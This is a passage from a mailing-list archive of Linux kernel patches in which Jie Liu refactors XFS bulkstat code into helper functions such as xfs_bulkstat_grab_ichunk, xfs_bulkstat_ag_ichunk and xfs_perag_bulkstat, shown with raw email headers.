QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Introduce xfs_bulkstat_grab_ichunk() to look up an inode chunk in where the given inode resides, then grab the record. Update the data for the pointed-to record if the inode was not the last in the chunk and there are some left allocated, return the grabbed inode count on success. Refactor xfs_bulkstat() with it. Signed-off-by: Jie Liu --- fs/xfs/xfs_itable.c | 118 +++++++++++++++++++++++++++++----------------------- 1 file changed, 67 insertions(+), 51 deletions(-) diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 144e403..c179e0e 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -203,6 +203,60 @@ xfs_bulkstat_ichunk_ra( blk_finish_plug(&plug); } +/* + * Lookup the inode chunk that the given inode lives in and then get the record + * if we found the chunk. If the inode was not the last in the chunk and there + * are some left allocated, update the data for the pointed-to record as well as + * return the count of grabbed inodes. + */ +STATIC int +xfs_bulkstat_grab_ichunk( + struct xfs_btree_cur *cur, /* btree cursor */ + xfs_agino_t agino, /* starting inode of chunk */ + int *icount,/* return # of inodes grabbed */ + struct xfs_inobt_rec_incore *irec) /* btree record */ +{ + int idx; /* index into inode chunk */ + int stat; + int error; + + /* Lookup the inode chunk that this inode lives in */ + error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_LE, &stat); + if (error) + return error; + XFS_WANT_CORRUPTED_RETURN(stat == 1); + + /* Get the record, should always work */ + error = xfs_inobt_get_rec(cur, irec, &stat); + if (error) + return error; + XFS_WANT_CORRUPTED_RETURN(stat == 1); + + /* Check if the record contains the inode in request */ + if (irec->ir_startino + XFS_INODES_PER_CHUNK <= agino) + return XFS_ERROR(EINVAL); + + idx = agino - irec->ir_startino + 1; + if (idx < XFS_INODES_PER_CHUNK && + (xfs_inobt_maskn(idx, XFS_INODES_PER_CHUNK - idx) & ~irec->ir_free)) { + int i; + + /* We got a right chunk with some left inodes allocated at it. + * Grab the chunk record. Mark all the uninteresting inodes + * free -- because they're before our start point. + */ + for (i = 0; i < idx; i++) { + if (XFS_INOBT_MASK(i) & ~irec->ir_free) + irec->ir_freecount++; + } + + irec->ir_free |= xfs_inobt_maskn(0, idx); + *icount = XFS_INODES_PER_CHUNK - irec->ir_freecount; + } + + return 0; +} + #define XFS_BULKSTAT_UBLEFT(ubleft) ((ubleft) >= statstruct_size) /* @@ -288,67 +342,29 @@ xfs_bulkstat( irbp = irbuf; irbufend = irbuf + nirbuf; end_of_ag = 0; - /* - * If we're returning in the middle of an allocation group, - * we need to get the remainder of the chunk we're in. - */ + icount = 0; if (agino > 0) { - xfs_inobt_rec_incore_t r; - /* - * Lookup the inode chunk that this inode lives in. + * In the middle of an allocation group, we need to get + * the remainder of the chunk we're in. */ - error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_LE, - &tmp); - if (!error && /* no I/O error */ - tmp && /* lookup succeeded */ - /* got the record, should always work */ - !(error = xfs_inobt_get_rec(cur, &r, &i)) && - i == 1 && - /* this is the right chunk */ - agino < r.ir_startino + XFS_INODES_PER_CHUNK && - /* lastino was not last in chunk */ - (chunkidx = agino - r.ir_startino + 1) < - XFS_INODES_PER_CHUNK && - /* there are some left allocated */ - xfs_inobt_maskn(chunkidx, - XFS_INODES_PER_CHUNK - chunkidx) & - ~r.ir_free) { - /* - * Grab the chunk record. Mark all the - * uninteresting inodes (because they're - * before our start point) free. - */ - for (i = 0; i < chunkidx; i++) { - if (XFS_INOBT_MASK(i) & ~r.ir_free) - r.ir_freecount++; - } - r.ir_free |= xfs_inobt_maskn(0, chunkidx); + struct xfs_inobt_rec_incore r; + + error = xfs_bulkstat_grab_ichunk(cur, agino, &icount, &r); + if (error) + break; + if (icount) { irbp->ir_startino = r.ir_startino; irbp->ir_freecount = r.ir_freecount; irbp->ir_free = r.ir_free; irbp++; - agino = r.ir_startino + XFS_INODES_PER_CHUNK; - icount = XFS_INODES_PER_CHUNK - r.ir_freecount; - } else { - /* - * If any of those tests failed, bump the - * inode number (just in case). - */ - agino++; - icount = 0; + agino += r.ir_startino + XFS_INODES_PER_CHUNK; } - /* - * In any case, increment to the next record. - */ - if (!error) - error = xfs_btree_increment(cur, 0, &tmp); + /* Increment to the next record */ + error = xfs_btree_increment(cur, 0, &tmp); } else { - /* - * Start of ag. Lookup the first inode chunk. - */ + /* Start of ag. Lookup the first inode chunk */ error = xfs_inobt_lookup(cur, 0, XFS_LOOKUP_GE, &tmp); - icount = 0; } if (error) break; -- 1.8.3.2 From jeff.liu@oracle.com Sat Dec 28 05:22:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 36BC97F54 for ; Sat, 28 Dec 2013 05:22:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 05B68304032 for ; Sat, 28 Dec 2013 03:22:23 -0800 (PST) X-ASG-Debug-ID: 1388229742-04bdf00fde30f400001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id jVNQmxB0vngBdstW (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 03:22:22 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBSBMLSP031556 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Dec 2013 11:22:22 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBMK5s022065 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 11:22:21 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBMK1n022061 for ; Sat, 28 Dec 2013 11:22:20 GMT Received: from [192.168.1.105] (/221.223.117.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 28 Dec 2013 03:22:20 -0800 Message-ID: <52BEB469.2000306@oracle.com> Date: Sat, 28 Dec 2013 19:22:17 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 8/10] xfs: introduce xfs_bulkstat_ag_ichunk Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 8/10] xfs: introduce xfs_bulkstat_ag_ichunk Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388229742 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Introduce xfs_bulkstat_ag_ichunk() to process inodes in chunk with a pointer to a formatter function that will iget the inode and fill in the appropriate structure. Refactor xfs_bulkstat() with it. Reviewed-by: Christoph Hellwig Signed-off-by: Jie Liu --- fs/xfs/xfs_itable.c | 142 ++++++++++++++++++++++++++++++++-------------------- fs/xfs/xfs_itable.h | 16 ++++++ 2 files changed, 104 insertions(+), 54 deletions(-) diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index c179e0e..249b516 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -260,6 +260,80 @@ xfs_bulkstat_grab_ichunk( #define XFS_BULKSTAT_UBLEFT(ubleft) ((ubleft) >= statstruct_size) /* + * Process inodes in chunk with a pointer to a formatter function that will + * iget the inode and fill in the appropriate structure. + */ +STATIC int +xfs_bulkstat_ag_ichunk( + struct xfs_mount *mp, + xfs_agnumber_t agno, + struct xfs_inobt_rec_incore *irbp, + bulkstat_one_pf formatter, + size_t statstruct_size, + struct xfs_bulkstat_agichunk *acp) +{ + xfs_ino_t lastino = acp->ac_lastino; + char __user *ubufp = acp->ac_ubuffer; + int ubleft = acp->ac_ubleft; + int ubelem = acp->ac_ubelem; + int chunkidx, clustidx; + int error = 0; + xfs_agino_t agino; + + for (agino = irbp->ir_startino, chunkidx = clustidx = 0; + XFS_BULKSTAT_UBLEFT(ubleft) && + irbp->ir_freecount < XFS_INODES_PER_CHUNK; + chunkidx++, clustidx++, agino++) { + int fmterror; /* bulkstat formatter result */ + int ubused; + xfs_ino_t ino = XFS_AGINO_TO_INO(mp, agno, agino); + + ASSERT(chunkidx < XFS_INODES_PER_CHUNK); + /* Skip if this inode is free */ + if (XFS_INOBT_MASK(chunkidx) & irbp->ir_free) { + lastino = ino; + continue; + } + + /* + * Count used inodes as free so we can tell when the chunk is + * used up. + */ + irbp->ir_freecount++; + + /* Get the inode and fill in a single buffer */ + ubused = statstruct_size; + error = formatter(mp, ino, ubufp, ubleft, &ubused, &fmterror); + if (fmterror == BULKSTAT_RV_NOTHING) { + if (error && error != ENOENT && error != EINVAL) { + ubleft = 0; + break; + } + error = 0; + lastino = ino; + continue; + } + if (fmterror == BULKSTAT_RV_GIVEUP) { + ubleft = 0; + ASSERT(error); + break; + } + if (ubufp) + ubufp += ubused; + ubleft -= ubused; + ubelem++; + lastino = ino; + } + + if (!error) { + acp->ac_lastino = lastino; + acp->ac_ubleft = ubleft; + acp->ac_ubelem = ubelem; + } + return error; +} + +/* * Return stat information in bulk (by-inode) for the filesystem. */ int /* error status */ @@ -276,8 +350,6 @@ xfs_bulkstat( xfs_agi_t *agi; /* agi header data */ xfs_agino_t agino; /* inode # in allocation group */ xfs_agnumber_t agno; /* allocation group number */ - int chunkidx; /* current index into inode chunk */ - int clustidx; /* current index into inode cluster */ xfs_btree_cur_t *cur; /* btree cursor for ialloc btree */ int end_of_ag; /* set if we've seen the ag end */ int error; /* error code */ @@ -297,7 +369,6 @@ xfs_bulkstat( int ubleft; /* bytes left in user's buffer */ char __user *ubufp; /* pointer into user's buffer */ int ubelem; /* spaces used in user's buffer */ - int ubused; /* bytes used by formatter */ /* * Get the last inode value, see if there's nothing to do. @@ -414,57 +485,20 @@ xfs_bulkstat( irbufend = irbp; for (irbp = irbuf; irbp < irbufend && XFS_BULKSTAT_UBLEFT(ubleft); irbp++) { - /* - * Now process this chunk of inodes. - */ - for (agino = irbp->ir_startino, chunkidx = clustidx = 0; - XFS_BULKSTAT_UBLEFT(ubleft) && - irbp->ir_freecount < XFS_INODES_PER_CHUNK; - chunkidx++, clustidx++, agino++) { - ASSERT(chunkidx < XFS_INODES_PER_CHUNK); - - ino = XFS_AGINO_TO_INO(mp, agno, agino); - /* - * Skip if this inode is free. - */ - if (XFS_INOBT_MASK(chunkidx) & irbp->ir_free) { - lastino = ino; - continue; - } - /* - * Count used inodes as free so we can tell - * when the chunk is used up. - */ - irbp->ir_freecount++; - - /* - * Get the inode and fill in a single buffer. - */ - ubused = statstruct_size; - error = formatter(mp, ino, ubufp, ubleft, - &ubused, &fmterror); - if (fmterror == BULKSTAT_RV_NOTHING) { - if (error && error != ENOENT && - error != EINVAL) { - ubleft = 0; - rval = error; - break; - } - lastino = ino; - continue; - } - if (fmterror == BULKSTAT_RV_GIVEUP) { - ubleft = 0; - ASSERT(error); - rval = error; - break; - } - if (ubufp) - ubufp += ubused; - ubleft -= ubused; - ubelem++; - lastino = ino; - } + struct xfs_bulkstat_agichunk ac; + + ac.ac_lastino = lastino; + ac.ac_ubuffer = ubuffer; + ac.ac_ubleft = ubleft; + ac.ac_ubelem = ubelem; + error = xfs_bulkstat_ag_ichunk(mp, agno, irbp, + formatter, statstruct_size, &ac); + if (error) + rval = error; + + lastino = ac.ac_lastino; + ubleft = ac.ac_ubleft; + ubelem = ac.ac_ubelem; cond_resched(); } diff --git a/fs/xfs/xfs_itable.h b/fs/xfs/xfs_itable.h index f78bbcf..e33ec46 100644 --- a/fs/xfs/xfs_itable.h +++ b/fs/xfs/xfs_itable.h @@ -30,6 +30,22 @@ typedef int (*bulkstat_one_pf)(struct xfs_mount *mp, int *ubused, int *stat); +struct xfs_bulkstat_agichunk { + xfs_ino_t ac_lastino; /* last inode returned */ + char __user *ac_ubuffer;/* pointer into user's buffer */ + int ac_ubleft; /* bytes left in user's buffer */ + int ac_ubelem; /* spaces used in user's buffer */ +}; + +int +xfs_bulkstat_ag_ichunk( + struct xfs_mount *mp, + xfs_agnumber_t agno, + struct xfs_inobt_rec_incore *irbp, + bulkstat_one_pf formatter, + size_t statstruct_size, + struct xfs_bulkstat_agichunk *acp); + /* * Values for stat return value. */ -- 1.8.3.2 From jeff.liu@oracle.com Sat Dec 28 05:22:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 340DA7F50 for ; Sat, 28 Dec 2013 05:22:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 206168F8039 for ; Sat, 28 Dec 2013 03:22:43 -0800 (PST) X-ASG-Debug-ID: 1388229761-04cb6c537ca28080001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id Lk8A3FjRUlAZDXQm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 03:22:41 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBSBMe1U031695 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Dec 2013 11:22:41 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBMd40022263 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 11:22:40 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBMdMN004201 for ; Sat, 28 Dec 2013 11:22:39 GMT Received: from [192.168.1.105] (/221.223.117.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 28 Dec 2013 03:22:38 -0800 Message-ID: <52BEB47B.3090001@oracle.com> Date: Sat, 28 Dec 2013 19:22:35 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 9/10] xfs: implement bulkstat per allocation group Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 9/10] xfs: implement bulkstat per allocation group Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388229761 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu With xfs_perag_bulkstat(), we can return stat information in bulk by inode as per the given allocation group number and start inode number in it via a new ioctl(2) in the future. Refactor xfs_bulkstat() with it. Signed-off-by: Jie Liu --- fs/xfs/xfs_itable.c | 291 +++++++++++++++++++++++++++++----------------------- fs/xfs/xfs_itable.h | 20 ++++ 2 files changed, 183 insertions(+), 128 deletions(-) diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 249b516..4d53f15 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -334,86 +334,44 @@ xfs_bulkstat_ag_ichunk( } /* - * Return stat information in bulk (by-inode) for the filesystem. + * Return stat information in bulk (by-inode) in an allocation group until + * we run out of the AG or user buffers. */ -int /* error status */ -xfs_bulkstat( - xfs_mount_t *mp, /* mount point for filesystem */ - xfs_ino_t *lastinop, /* last inode returned */ - int *ubcountp, /* size of buffer/count returned */ - bulkstat_one_pf formatter, /* func that'd fill a single buf */ - size_t statstruct_size, /* sizeof struct filling */ - char __user *ubuffer, /* buffer with inode stats */ - int *done) /* 1 if there are more stats to get */ +int +xfs_perag_bulkstat( + struct xfs_mount *mp, + struct xfs_agbulkstat *agbulkp, + struct xfs_inobt_rec_incore *irbuf, + size_t nirbuf, + bulkstat_one_pf formatter, + size_t statstruct_size) { - xfs_buf_t *agbp; /* agi header buffer */ - xfs_agi_t *agi; /* agi header data */ - xfs_agino_t agino; /* inode # in allocation group */ - xfs_agnumber_t agno; /* allocation group number */ - xfs_btree_cur_t *cur; /* btree cursor for ialloc btree */ - int end_of_ag; /* set if we've seen the ag end */ - int error; /* error code */ - int fmterror;/* bulkstat formatter result */ - int i; /* loop index */ - int icount; /* count of inodes good in irbuf */ - size_t irbsize; /* size of irec buffer in bytes */ - xfs_ino_t ino; /* inode number (filesystem) */ - xfs_inobt_rec_incore_t *irbp; /* current irec buffer pointer */ - xfs_inobt_rec_incore_t *irbuf; /* start of irec buffer */ - xfs_inobt_rec_incore_t *irbufend; /* end of good irec buffer entries */ - xfs_ino_t lastino; /* last inode number returned */ - int nirbuf; /* size of irbuf */ - int rval; /* return value error code */ - int tmp; /* result value from btree calls */ - int ubcount; /* size of user's buffer */ - int ubleft; /* bytes left in user's buffer */ - char __user *ubufp; /* pointer into user's buffer */ - int ubelem; /* spaces used in user's buffer */ - - /* - * Get the last inode value, see if there's nothing to do. - */ - ino = (xfs_ino_t)*lastinop; - lastino = ino; - agno = XFS_INO_TO_AGNO(mp, ino); - agino = XFS_INO_TO_AGINO(mp, ino); - if (agno >= mp->m_sb.sb_agcount || - ino != XFS_AGINO_TO_INO(mp, agno, agino)) { - *done = 1; - *ubcountp = 0; - return 0; - } - ubcount = *ubcountp; /* statstruct's */ - ubleft = ubcount * statstruct_size; /* bytes */ - *ubcountp = ubelem = 0; - *done = 0; - fmterror = 0; - ubufp = ubuffer; - irbuf = kmem_zalloc_greedy(&irbsize, PAGE_SIZE, PAGE_SIZE * 4); - if (!irbuf) - return ENOMEM; + xfs_agnumber_t agno = agbulkp->ab_agno; + xfs_agino_t agino = *(agbulkp->ab_aginop); + xfs_ino_t lastino = XFS_AGINO_TO_INO(mp, agno, + agino); + char __user *ubuffer = agbulkp->ab_ubuffer; + int ubcount = agbulkp->ab_icount; + int ubelem = 0;/* # elements written */ + struct xfs_btree_cur *cur = NULL; + struct xfs_buf *agbp = NULL; + int ubleft_bytes; + int error; - nirbuf = irbsize / sizeof(*irbuf); + ubleft_bytes = ubcount * statstruct_size; + for (;;) { + struct xfs_inobt_rec_incore *irbp = irbuf; + struct xfs_inobt_rec_incore *irbufend = irbuf + nirbuf; + struct xfs_agi *agi; + int i;/* btree operation status */ + int icount = 0;/* # inodes in irbuf */ + bool end_of_ag = false; - /* - * Loop over the allocation groups, starting from the last - * inode returned; 0 means start of the allocation group. - */ - rval = 0; - while (XFS_BULKSTAT_UBLEFT(ubleft) && agno < mp->m_sb.sb_agcount) { - cond_resched(); error = xfs_ialloc_read_agi(mp, NULL, agno, &agbp); if (error) break; agi = XFS_BUF_TO_AGI(agbp); - /* - * Allocate and initialize a btree cursor for ialloc btree. - */ cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); - irbp = irbuf; - irbufend = irbuf + nirbuf; - end_of_ag = 0; - icount = 0; if (agino > 0) { /* * In the middle of an allocation group, we need to get @@ -421,7 +379,8 @@ xfs_bulkstat( */ struct xfs_inobt_rec_incore r; - error = xfs_bulkstat_grab_ichunk(cur, agino, &icount, &r); + error = xfs_bulkstat_grab_ichunk(cur, agino, &icount, + &r); if (error) break; if (icount) { @@ -431,32 +390,34 @@ xfs_bulkstat( irbp++; agino += r.ir_startino + XFS_INODES_PER_CHUNK; } - /* Increment to the next record */ - error = xfs_btree_increment(cur, 0, &tmp); + error = xfs_btree_increment(cur, 0, &i); + if (error) + break; + if (i == 0) { + /* There are no rightward btree entries */ + end_of_ag = true; + } } else { /* Start of ag. Lookup the first inode chunk */ - error = xfs_inobt_lookup(cur, 0, XFS_LOOKUP_GE, &tmp); + error = xfs_inobt_lookup(cur, 0, XFS_LOOKUP_GE, &i); + if (error) + break; + XFS_WANT_CORRUPTED_GOTO(i == 1, error0); } - if (error) - break; /* - * Loop through inode btree records in this ag, - * until we run out of inodes or space in the buffer. + * Loop over inode btree records in this AG until we run out of + * inodes or space in the buffer. */ while (irbp < irbufend && icount < ubcount) { struct xfs_inobt_rec_incore r; error = xfs_inobt_get_rec(cur, &r, &i); - if (error || i == 0) { - end_of_ag = 1; + if (error) break; - } + XFS_WANT_CORRUPTED_GOTO(i == 1, error0) - /* - * If this chunk has any allocated inodes, save it. - * Also start read-ahead now for this chunk. - */ + /* If this chunk has any allocated inodes, save it */ if (r.ir_freecount < XFS_INODES_PER_CHUNK) { xfs_bulkstat_ichunk_ra(mp, agno, &r); irbp->ir_startino = r.ir_startino; @@ -465,77 +426,151 @@ xfs_bulkstat( irbp++; icount += XFS_INODES_PER_CHUNK - r.ir_freecount; } - /* - * Set agino to after this chunk and bump the cursor. - */ + + /* Set agino to after this chunk and bump the cursor */ agino = r.ir_startino + XFS_INODES_PER_CHUNK; - error = xfs_btree_increment(cur, 0, &tmp); + error = xfs_btree_increment(cur, 0, &i); + if (error) + break; + if (i == 0) { + /* There are no rightward btree entries */ + end_of_ag = true; + break; + } + cond_resched(); } + + /* Break if previously there is any error has happened */ + if (error) + break; /* - * Drop the btree buffers and the agi buffer. - * We can't hold any of the locks these represent - * when calling iget. + * Drop the btree buffers and the agi buffer. We can't hold + * any of the locks these represent when calling iget. */ xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + cur = NULL; xfs_buf_relse(agbp); - /* - * Now format all the good inodes into the user's buffer. - */ + agbp = NULL; + irbufend = irbp; for (irbp = irbuf; - irbp < irbufend && XFS_BULKSTAT_UBLEFT(ubleft); irbp++) { - struct xfs_bulkstat_agichunk ac; + irbp < irbufend && XFS_BULKSTAT_UBLEFT(ubleft_bytes); + irbp++) { + struct xfs_bulkstat_agichunk ac; ac.ac_lastino = lastino; ac.ac_ubuffer = ubuffer; - ac.ac_ubleft = ubleft; + ac.ac_ubleft = ubleft_bytes; ac.ac_ubelem = ubelem; error = xfs_bulkstat_ag_ichunk(mp, agno, irbp, formatter, statstruct_size, &ac); if (error) - rval = error; - + break; lastino = ac.ac_lastino; - ubleft = ac.ac_ubleft; + ubleft_bytes = ac.ac_ubleft; ubelem = ac.ac_ubelem; cond_resched(); } - /* - * Set up for the next loop iteration. - */ - if (XFS_BULKSTAT_UBLEFT(ubleft)) { - if (end_of_ag) { - agno++; - agino = 0; - } else - agino = XFS_INO_TO_AGINO(mp, lastino); - } else + + if (error || end_of_ag || !XFS_BULKSTAT_UBLEFT(ubleft_bytes)) break; + + /* Set up for the next loop iteration */ + agino = XFS_INO_TO_AGINO(mp, lastino); } + + if (!error) { + agbulkp->ab_ocount = ubelem; + *(agbulkp->ab_aginop) = XFS_INO_TO_AGINO(mp, lastino); + } + +error0: + if (cur) { + xfs_btree_del_cursor(cur, error ? XFS_BTREE_ERROR : + XFS_BTREE_NOERROR); + } + if (agbp) + xfs_buf_relse(agbp); + + return error; +} + +/* + * Return stat information in bulk (by-inode) for the filesystem. + */ +int +xfs_bulkstat( + struct xfs_mount *mp, /* mount point for filesystem */ + xfs_ino_t *lastinop, /* last inode returned */ + int *ubcountp, /* size of buffer/count returned */ + bulkstat_one_pf formatter, /* func that'd fill a single buf */ + size_t statstruct_size, /* sizeof struct filling */ + char __user *ubuffer, /* buffer with inode stats */ + int *done) /* 1 if there are more stats to get */ +{ + xfs_ino_t lastino = *lastinop;/* last inode number */ + xfs_agnumber_t agno = XFS_INO_TO_AGNO(mp, lastino); + xfs_agino_t agino = XFS_INO_TO_AGINO(mp, lastino); + int ubleft = *ubcountp;/* size of user's buffer */ + size_t irbsize;/* size of irec buffer in bytes */ + int nirbuf; /* size of irbuf */ + int error; /* error code */ + struct xfs_inobt_rec_incore *irbuf;/* start of irec buffer */ + + /* The given last inode number is beyond file system range, done */ + if (agno >= mp->m_sb.sb_agcount || + lastino != XFS_AGINO_TO_INO(mp, agno, agino)) { + *ubcountp = 0; + *done = 1; + return 0; + } + + irbuf = kmem_zalloc_greedy(&irbsize, PAGE_SIZE, PAGE_SIZE * 4); + if (!irbuf) + return ENOMEM; + nirbuf = irbsize / sizeof(*irbuf); + + *done = 0; /* - * Done, we're either out of filesystem or space to put the data. - */ - kmem_free(irbuf); - *ubcountp = ubelem; - /* - * Found some inodes, return them now and return the error next time. + * Loop over the allocation groups, starting from the last inode + * returned; 0 means start of the allocation group. */ - if (ubelem) - rval = 0; - if (agno >= mp->m_sb.sb_agcount) { + do { + struct xfs_agbulkstat agbulk; + + agbulk.ab_agno = agno; + agbulk.ab_aginop = &agino; + agbulk.ab_ubuffer = ubuffer; + agbulk.ab_icount = ubleft; + agbulk.ab_ocount = 0; + error = xfs_perag_bulkstat(mp, &agbulk, irbuf, nirbuf, + formatter, statstruct_size); + if (error) + break; + + ubleft -= agbulk.ab_ocount; + ASSERT(ubleft >= 0); + if (!ubleft) + break; + /* - * If we ran out of filesystem, mark lastino as off - * the end of the filesystem, so the next call - * will return immediately. + * No more inodes in current allocation group, however the user + * requires more. Proceed to loop over the next one. */ - *lastinop = (xfs_ino_t)XFS_AGINO_TO_INO(mp, agno, 0); + agino = 0; + } while (++agno < mp->m_sb.sb_agcount); + + kmem_free(irbuf); + + if (!error) { + *ubcountp -= ubleft; + *lastinop = XFS_AGINO_TO_INO(mp, agno, agino); *done = 1; - } else - *lastinop = (xfs_ino_t)lastino; + } - return rval; + return error; } /* diff --git a/fs/xfs/xfs_itable.h b/fs/xfs/xfs_itable.h index e33ec46..16536b1 100644 --- a/fs/xfs/xfs_itable.h +++ b/fs/xfs/xfs_itable.h @@ -47,6 +47,26 @@ xfs_bulkstat_ag_ichunk( struct xfs_bulkstat_agichunk *acp); /* + * Structures returned stat information in bulk (by-inode) per AG. + */ +struct xfs_agbulkstat { + xfs_agnumber_t ab_agno; /* AG number */ + xfs_agino_t *ab_aginop; /* last agino returned */ + char __user *ab_ubuffer; /* pointer into user's buffer */ + __uint32_t ab_icount; /* count of entries in buffer */ + __uint32_t ab_ocount; /* output counter */ +}; + +int +xfs_perag_bulkstat( + struct xfs_mount *mp, + struct xfs_agbulkstat *agbulkp, + struct xfs_inobt_rec_incore *irbuf, + size_t nirbuf, + bulkstat_one_pf formatter, + size_t statstruct_size); + +/* * Values for stat return value. */ #define BULKSTAT_RV_NOTHING 0 -- 1.8.3.2 From jeff.liu@oracle.com Sat Dec 28 05:22:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 912EA7F53 for ; Sat, 28 Dec 2013 05:22:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 14522AC002 for ; Sat, 28 Dec 2013 03:22:50 -0800 (PST) X-ASG-Debug-ID: 1388229768-04cbb04168a21340001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 8FWkyuSUmAbzCGIw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 